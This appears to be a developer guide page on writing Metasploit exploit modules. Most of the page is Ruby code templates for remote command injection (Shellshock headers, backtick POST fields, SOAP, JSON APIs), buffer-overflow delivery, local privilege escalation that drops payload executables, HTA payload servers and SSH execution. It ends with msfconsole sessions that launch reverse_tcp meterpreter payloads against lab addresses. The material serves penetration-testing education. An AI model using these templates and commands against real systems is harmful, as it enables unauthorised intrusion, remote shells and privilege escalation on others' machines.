Skip to content

Exploit

Exploit modules execute a payload to open a new session. See packages/metasploit-framework/modules/exploits/. Rather than writing a payload module, use an existing one such as windows/x64/meterpreter/reverse_tcp.

The shared process is in Common Steps. This page covers exploit-specific types, usage examples, and modules that serve as writing references.

SituationBase class
Deliver to a network service or web appMsf::Exploit::Remote
Escalate privileges in an existing session and return a separate sessionMsf::Exploit::Local

Use these as starting points for learning and imitation (the names are paths passed to use).

Reference moduleWhat it teaches
exploits/exampleMinimal TCP connect → buffer → handler
exploits/example_webappHttpClient, login, keep_cookies, multipart, check
exploits/example_linux_priv_escLocal exploit structure
exploit/linux/http/supervisor_xmlrpc_execHTTP + CmdStager + Basic authentication + check
exploit/unix/webapp/byob_unauth_rceSeparate self-registration and login, then execute RCE after authentication
exploit/linux/http/suitecrm_log_file_rceAuthenticate once with authenticate unless @authenticated
exploit/linux/http/apache_continuum_cmd_execHTTP command injection
exploit/multi/http/apache_mod_cgi_bash_env_execWell-known CGI/env injection pattern
exploit/multi/ssh/sshexecexecute_command over SSH
exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecLocal privilege escalation + AutoCheck + FileDropper + Post mixins
exploit/windows/misc/hta_serverServe a payload to a client with HttpServer
exploit/multi/handlerListen for an externally launched payload (no need to write your own)

Even among “HTTP RCE” modules, the form changes with the injection point, authentication, and use of CmdStager. Here are several patterns for each type.

1a. XML / Basic authentication + CmdStager (supervisor_xmlrpc_exec family)

Section titled “1a. XML / Basic authentication + CmdStager (supervisor_xmlrpc_exec family)”
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def check
params = { 'method' => 'GET', 'uri' => normalize_uri('/') }
unless datastore['HttpUsername'].to_s.empty?
params['authorization'] = basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
end
res = send_request_cgi(params)
return CheckCode::Unknown('no response') if res.nil?
CheckCode::Appears
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
'ctype' => 'text/xml',
'data' => build_xml(cmd)
)
end
def exploit
execute_cmdstager(linemax: 1500)
end
end

1b. Backtick injection into one form POST field (apache_continuum_cmd_exec family)

Section titled “1b. Backtick injection into one form POST field (apache_continuum_cmd_exec family)”

This uses CmdStager, but delivers commands through a simple vars_post field.

def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => '/continuum/saveInstallation.action',
'vars_post' => {
'installation.name' => Rex::Text.rand_text_alpha(8),
'installation.type' => 'jdk',
'installation.varValue' => '`' + cmd + '`'
}
)
end
def exploit
execute_cmdstager
end
Section titled “1c. GET + SOAP / custom headers (dlink_upnp_exec_noauth family)”

Combine vars_get with raw XML data and additional headers. Specify the flavor.

def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => '/soap.cgi',
'vars_get' => { 'service' => 'WANIPConn1' },
'ctype' => 'text/xml',
'headers' => { 'SOAPAction' => 'urn:...#AddPortMapping' },
'data' => soap_envelope_with("`#{cmd}`")
)
end
def exploit
execute_cmdstager(flavor: :echo, linemax: 400)
end

1d. Header injection (Shellshock family / apache_mod_cgi_bash_env_exec)

Section titled “1d. Header injection (Shellshock family / apache_mod_cgi_bash_env_exec)”

Put the command in a header value instead of the body.

def execute_command(cmd, _opts = {})
send_request_cgi(
{
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri.path),
'headers' => {
datastore['HEADER'] => "() { :;}; #{cmd}"
}
},
datastore['TIMEOUT']
)
end
def exploit
execute_cmdstager(linemax: datastore['CMD_MAX_LENGTH'], nodelete: true)
end

1e. RCE with cookies after login (example_webapp family)

Section titled “1e. RCE with cookies after login (example_webapp family)”

Authenticate first, then use keep_cookies for subsequent requests. A short command payload may not need CmdStager.

def exploit
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php'),
'keep_cookies' => true,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)
fail_with(Failure::NoAccess, 'login failed') unless res && res.code == 301
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'command.html'),
'vars_post' => { 'cmd_str' => payload.encoded }
)
end

1f. Self-registration → login → JSON API RCE

Section titled “1f. Self-registration → login → JSON API RCE”

This example registers on a public web app, logs in through a form, and sends commands to a JSON API. AutoCheck runs check, and CmdStager calls execute_command multiple times. Keep registration and login outside execute_command so they do not repeat during the same run.

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def authenticate
return true if @authenticated
user = datastore['USERNAME']
pass = datastore['PASSWORD']
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'register'),
'vars_post' => { 'username' => user, 'password' => pass }
)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true,
'vars_post' => { 'username' => user, 'password' => pass }
)
return false if res.nil? || !(res.code == 200 || res.redirect?)
@authenticated = true
true
end
def check
return CheckCode::Unknown('login failed') unless authenticate
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'run_code'),
'ctype' => 'application/json',
'data' => { 'code' => '1' }.to_json
)
return CheckCode::Unknown('no response') if res.nil?
json = res.get_json_document
return CheckCode::Appears if res.code == 200 && json.is_a?(Hash) && json.key?('result')
CheckCode::Safe
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'run_code'),
'ctype' => 'application/json',
'data' => { 'code' => cmd }.to_json
)
end
def exploit
fail_with(Failure::NoAccess, 'login failed') unless authenticate
if target['Type'] == :unix_cmd
execute_command(payload.encoded)
else
execute_cmdstager
end
end
  • If the registration response has no session cookie, keep_cookies is only needed for login. The subsequent JSON POST needs no cookie key.
  • execute_command only sends the command. Authenticating here would repeat the process each time CmdStager calls it.
  • Match the success check to the target API’s response. For an endpoint returning HTTP 200 and JSON, check the status code and the keys returned by get_json_document.
  • Set defaults for USERNAME / PASSWORD with OptString in register_options, then read them from datastore.

See send_request_cgi for request opts.

'Targets' => [
['Unix Command', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD] }],
['Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'CmdStagerFlavor' => ['bourne', 'curl'] }]
]
def exploit
if target['Arch'] == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager(linemax: 1500, background: true)
end
end

2a. Standard buffer + handler (exploits/example)

Section titled “2a. Standard buffer + handler (exploits/example)”
class MetasploitModule < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def exploit
connect
buf = rand_text_alpha(1024)
buf << [target.ret].pack('V')
buf << payload.encoded
sock.put(buf)
handler
ensure
disconnect
end
end
def check
connect
banner = sock.get_once(1024, 3).to_s
disconnect
return CheckCode::Appears if banner.include?('VulnerableService')
CheckCode::Safe
rescue Rex::ConnectionError
CheckCode::Unknown
end
def exploit
fail_with(Failure::NotVulnerable, 'check failed') unless check == CheckCode::Appears
connect
sock.put(build_buffer)
handler
ensure
disconnect
end

2c. Multiple exchanges (protocol interaction)

Section titled “2c. Multiple exchanges (protocol interaction)”
def exploit
connect
sock.put("HELLO\r\n")
sock.get_once
sock.put(auth_packet)
sock.get_once
sock.put(payload_packet)
handler
ensure
disconnect
end

3a. AutoCheck + file placement (pwnkit / example_linux_priv_esc family)

Section titled “3a. AutoCheck + file placement (pwnkit / example_linux_priv_esc family)”
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def check
return CheckCode::Safe unless readable?('/usr/bin/pkexec')
CheckCode::Appears
end
def exploit
path = '/tmp/' + Rex::Text.rand_text_alpha(8)
write_file(path, generate_payload_exe)
chmod(path, 0o755)
register_file_for_cleanup(path)
cmd_exec("#{path} &")
end
end

3b. Exploit an existing binary only (no additional files)

Section titled “3b. Exploit an existing binary only (no additional files)”
def exploit
# Use SUID or sudo rules; pass payload through the environment or arguments
cmd_exec("env x='() { :;}; #{payload.encoded}' /usr/bin/vulnerable")
end

3c. Windows local (generate an EXE through a session)

Section titled “3c. Windows local (generate an EXE through a session)”
class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def exploit
fail_with(Failure::None, 'already SYSTEM') if is_system?
exe = generate_payload_exe
path = expand_path('%TEMP%\\') + Rex::Text.rand_text_alpha(8) + '.exe'
write_file(path, exe)
register_file_for_cleanup(path)
cmd_exec("cmd.exe /c #{path}")
end
end
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer
def on_request_uri(cli, _request)
p = regenerate_payload(cli)
send_response(cli, build_hta(p), 'Content-Type' => 'application/hta')
end
end
def primer
hardcoded_uripath('/payload.bin')
end
def on_request_uri(cli, request)
if request.uri.end_with?('/payload.bin')
send_response(cli, regenerate_payload(cli).encoded, 'Content-Type' => 'application/octet-stream')
else
send_response(cli, %|<a href="#{get_uri}/payload.bin">dl</a>|, 'Content-Type' => 'text/html')
end
end
def on_request_uri(cli, request)
if request.uri.include?('landing')
send_redirect(cli, "#{get_uri}/run.hta")
else
send_response(cli, build_hta(regenerate_payload(cli)), 'Content-Type' => 'application/hta')
end
end

5a. Run CmdStager through exec! after login

Section titled “5a. Run CmdStager through exec! after login”
def execute_command(cmd, _opts = {})
Timeout.timeout(3.5) { ssh_socket.exec!(cmd) }
rescue Timeout::Error
print_warning('command timed out')
end
def exploit
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
execute_cmdstager(linemax: 500)
end

5b. Interactive SSH (pass the socket to handler)

Section titled “5b. Interactive SSH (pass the socket to handler)”
def exploit
do_login(...)
if target.name == 'Interactive SSH'
handler(ssh_socket)
return
end
execute_command(payload.encoded)
end

5c. Send a payload with a one-line Python command

Section titled “5c. Send a payload with a one-line Python command”
def execute_python
execute_command("echo \"#{payload.encoded}\" | python3")
end
def exploit
do_login(...)
case target['Platform']
when 'python' then execute_python
else execute_cmdstager(linemax: 500)
end
end

6. General handler (do not write one, but know the pattern)

Section titled “6. General handler (do not write one, but know the pattern)”

exploit/multi/handler does not exploit a vulnerability; it receives a payload launched elsewhere. Its structure allows broad Targets / Payload settings and waits in exploit for a connection.

use exploit/linux/http/supervisor_xmlrpc_exec
set RHOSTS 10.10.11.123
set LHOST 10.10.16.10
set HttpUsername user
set HttpPassword 123
check
exploit
sessions -l

General handler (receive a reverse payload launched elsewhere)

Section titled “General handler (receive a reverse payload launched elsewhere)”
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.10
set LPORT 4444
set ExitOnSession false
run -j
use exploit/multi/ssh/sshexec
show targets
set TARGET <ssh_interact target id>
set RHOSTS 10.10.11.123
set USERNAME svc
set PASSWORD '...'
set payload generic/ssh/interact
run
sessions -l

Local privilege escalation (requires an existing session)

Section titled “Local privilege escalation (requires an existing session)”
sessions -l
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set SESSION 1
set LHOST 10.10.16.10
check
run
sessions -l
use exploit/windows/misc/hta_server
set SRVHOST 10.10.16.10
set SRVPORT 8080
set URIPATH /payload
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.10
run
# Have the target browser open the displayed URL

Try a custom path with the webapp template

Section titled “Try a custom path with the webapp template”
# After placing ~/.msf4/modules/exploits/linux/http/myapp_rce.rb
reload_lib -a
use exploit/linux/http/myapp_rce
show options
set RHOSTS 10.10.11.123
set TARGETURI /app/
set LHOST 10.10.16.10
check
run
TaskMethod
Narrow available payloadsPlatform / Arch / Payload BadChars in update_info
User selectionset payload ... / show payloads
Send from codepayload.encoded
Split a long binaryCmdStager + execute_command
show payloads
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.10